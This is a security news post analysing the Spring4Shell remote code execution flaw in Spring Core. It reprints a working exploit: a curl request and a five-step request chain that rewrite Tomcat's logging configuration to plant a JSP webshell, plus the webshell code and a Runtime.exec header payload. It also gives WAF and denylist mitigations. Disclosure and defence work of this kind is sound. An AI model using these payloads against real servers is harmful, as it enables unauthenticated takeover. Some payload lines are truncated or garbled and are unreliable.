Spring4Shell Details and Exploit Analysis

Exploit code for Spring core RCE aka Spring4Shell dropped online.


Update as of 31st March: Spring has Confirmed the RCE in Spring Framework. The team has just published the statement along with the mitigation guides for the issue. Now, this vulnerability can be tracked as CVE-2022-22965.

Initially, it was started on 30th March, the first notification of the vulnerability was hinted at by the leader of the KnownSec 404 team, Heige. He twitted with the warning message "Spring core RCE (JDK >=9" along with the PoC Picture. 
As we go live with the story of vulnerability, Heige disappears from Twitter. Don't know the reason behind this but there may be something.

Update as of 31st march: Heige is finally back on Twitter and he posted the reason for his disappearance.

After circulating the news about an unpatched remote code execution (RCE) vulnerability in Spring Framework, everyone started rushing for PoC exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by Spring.io (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks.

Later we received the leaked PoC along with the exploit (partially working on docker image). As the exploit was not standalone, it needs to modify. We have seen lots of discussion and confusion related to this vulnerability because there are three vulnerabilities disclosed for the Spring project.
  1. RCE in Spring Cloud Function (less severe), CVE-2022-22963 
  2. Medium-severity vulnerability (which can cause a DoS condition) affects Spring Framework versions 5.3.0 to 5.3.16,  CVE-2022-22950
  3. "Spring4Shell" or RCE in Spring Core - confirmed by several sources that leverage class injection (Critical), 

RCE in Spring Core

Users running JDK version 9 and newer are vulnerable to a Remote Code Execution attack, due to a bypass for CVE-2010-1622. Versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions of Spring Core are impacted. The vulnerability appears to affect functions that use the RequestMapping annotation and POJO (Plain Old Java Object) parameters.

In certain configurations, exploitation of this issue is straightforward, as it only requires an attacker to send a crafted HTTP request to a vulnerable system. However, exploitation of different configurations will require the attacker to do additional research to find payloads that will be effective.
This vulnerability allows an unauthenticated attacker to execute arbitrary code on the target system.

Initially Praetorian confirms the presence of an RCE in Spring Core, the currently recommended approach is to patch DataBinder by adding a blacklist of vulnerable field patterns required for exploitation. After this Rapid7 team has also confirmed the zero-day Spring4Shell vulnerability and provides unauthenticated remote code execution.

Exploit of RCE in Spring Core

Rapid7 team has nicely demonstrated the exploitation of this vulnerability (RCE in Spring Core aka Spring4Shell) by hacking into a Spring framework MVC.
package net.javaguides.springmvc.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;

import net.javaguides.springmvc.helloworld.model.HelloWorld;

/**
 * @author Ramesh Fadatare
 */
@Controller
public class HelloWorldController {

	@RequestMapping("/rapid7")
	public void vulnerable(HelloWorld model) {
	}
}

Here team has a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:

package net.javaguides.springmvc.helloworld.model;

public class HelloWorld {
	private String message;
}

And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15.

Rapid7 noted- If they compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7

This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:

- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1; byte[] b = new byte[2048]; hile((a=in.read(b))3D-1){ out.println(new String(b)); } } -

Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:

The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.

The payload Rapid7 has used is specific to Tomcat servers. It uses a technique that was popular as far back as 2014 and alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload.

The exploit demonstration is been taken from Rapid7 blog post.

Mitigation Guides

As of now (31st March) there is no official fix for the vulnerability and no CVE associated with this vulnerability.

CVE-2022-22965 has been assigned to this vulnerability and the official patch has also been released. It is recommended to use the following two temporary solutions for protection, and pay attention to the release of official patches in a timely manner, and fix vulnerabilities according to the official patches.

WAF protection

On network protection devices such as WAF, implement rule filtering for strings such as "class.*", "Class.*", "*.class.*", and "*.Class.*" according to the actual traffic situation of deployed services. After filtering the rules, test the business operation to avoid additional impact.

Temporary repair measures

Temporary repair of the leak should be performed in the following two steps at the same time:

1. Search the @InitBinder annotation globally in the application to see if the dataBinder.setDisallowedFields method is called in the method body. If the introduction of this code snippet is found, add {"class.*","Class.* to the original blacklist ","*.class.*", "*.Class.*"}. (Note: If this code snippet is used a lot, it needs to be appended everywhere)

2. Create the following global class under the project package of the application system, and ensure that this class is loaded by Spring (it is recommended to add it in the package where the Controller is located). After the class is added, the project needs to be recompiled and packaged, and tested for functional verification. and republish the project.
import org.springframework.core.Ordered;

import org.springframework.core.annotation.Order;

import org.springframework.web.bind.WebDataBinder;

import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.web.bind.annotation.InitBinder;


@ControllerAdvice

@Order(10000)

public class BinderControllerAdvice {

    @InitBinder

    public void setAllowedFields(WebDataBinder dataBinder) {

         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};

         dataBinder.setDisallowedFields(denylist);

    }

}

We have received some leaks about the vulnerability and sources state that the leaks are from the researcher who discovered the vulnerability. The leaks was shared by the vx-underground team. The shared files consist of 3 files including the PoC exploit. It also contains the pdf which describes the vulnerability. PDF containing details is in a different language but we have managed to translate it to English.

At the time of writing, the CVE id is not yet confirmed. According to the leaked document author of the writeup is p1n93r.   

All the content shared on this post is from the leaked document and we have just translated the content. We still didn't confirmed now confirmed the authenticity of the exploit of the bug. Use at your own risk, we are not responsible for any damage caused.

PDF Content:- 

Spring-beans RCE Vulnerability Analysis

Requirements

  • JDK9 and above;
  • Using the Spring-beans package;
  • Spring parameter binding is used;
  • Spring parameter binding uses non-basic parameter types, such as general POJOs;
Vulnerability Analysis

Spring parameter binding does not introduce too much, you can do it yourself; its basic way of use is to use the form of. to assign values to parameters, and the actual assignment process will use reflection to 
call the getter or setter of the parameter ;
Spring parameter binding uses non-basic parameter types, such as general POJOs;

When this vulnerability first came out, I thought it was a garbage hole, because I think there is a Class type attribute in the parameters that need to be used, and no idiot developer will use 
this attribute in POJO; but When I followed carefully, I found that things were not so simple;

For example, the data structure of the parameters I need to bind is as follows, which is a very simple POJO:
/**
* @author : p1n93r
* @date : 2022/3/29 17:34
*/
@Setter
@Getter
public class EvalBean {
public EvalBean() throws ClassNotFoundException {
System.out.println("[+] 调⽤了EvalBean.EvalBean");
}
public String name;
public CommonBean commonBean;
public String getName() {
System.out.println("[+] 调⽤了EvalBean.getName");
return name;
}
public void setName(String name) {
System.out.println("[+] 调⽤了EvalBean.setName");
this.name = name;
}
public CommonBean getCommonBean() {
System.out.println("[+] 调⽤了EvalBean.getCommonBean");
return commonBean;
}
public void setCommonBean(CommonBean commonBean) {
System.out.println("[+] 调⽤了EvalBean.setCommonBean");
this.commonBean = commonBean;
}
}
My Controller is written as follows, which is also very normal:

@RequestMapping("/index")
public void index(EvalBean evalBean, Model model){
System.out.println("=================");
System.out.println(evalBean);
System.out.println("=================");
}

So I started the whole process of binding parameters. When I followed the call position as follows, I was stunned:

When I looked at this cache, I was stunned, why is there a class attribute cache here??

When I saw this, I knew I was wrong, this is not a garbage hole, it is really a nuclear bomb-level loophole! Now it is clear that we can get the class object very easily, and the rest is to use the class object to construct the utilization chain. At present, the simpler way is to modify the log configuration of Tomcat, to Write the shell in the log. A complete utilization chain is as follows:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Looking at the utilization chain, you can see that it is a very simple way to modify the Tomcat log configuration and use the log to write a shell; the specific attack steps are as follows, and the following five requests are sent successively:

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

After sending these five requests, Tomcat's log configuration is modified as follows:

Then we just need to send a random request, add a header called fuck, and write to the shell:

GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

The shell can be accessed normally:

The above content is translated and the exact PDF. Still, we don't confirm the vulnerability analysis.

After the leaked PoC surfaced online many security researchers have analyzed it and modified the exploit code. Praetorian confirms the presence of an RCE in Spring Core, the currently recommended approach is to patch DataBinder by adding a blacklist of vulnerable field patterns required for exploitation.

We have seen the first YARA rules to detect the PoC code and web shells dropped by the leaked POC exploiting the Spring4Shell vulnerability. Another unknown user has drooped PoC exploit on Github.

With our first report, we have seen many users have commented that there is no such RCE vulnerability on Spring and Spring4Shell is not different from Spring Cloud Function vulnerability. 

But check these comments on the git repository of the Spring project, where one user named, "Kontinuation " says- 

This commit does not resolve any already existing vulnerabilities and has nothing to do with spring core RCE. Just stop spamming this commit.

Following the above comment Spring Framework developer, Sam Brannen acknowledges the comment from Kontinuation. If you closely read the Kontinuation comments you understand that Kontinuation itself says has nothing to do with spring core RCE. This can be expected that Kontinuation and Spring Framework developers may know that there is a remote code execution bug on spring core and the respective commit is not for Spring core RCE.

Spring4Shell: Zero-Day Vulnerability in Spring Framework

1 comment

  1. Oh. My. God.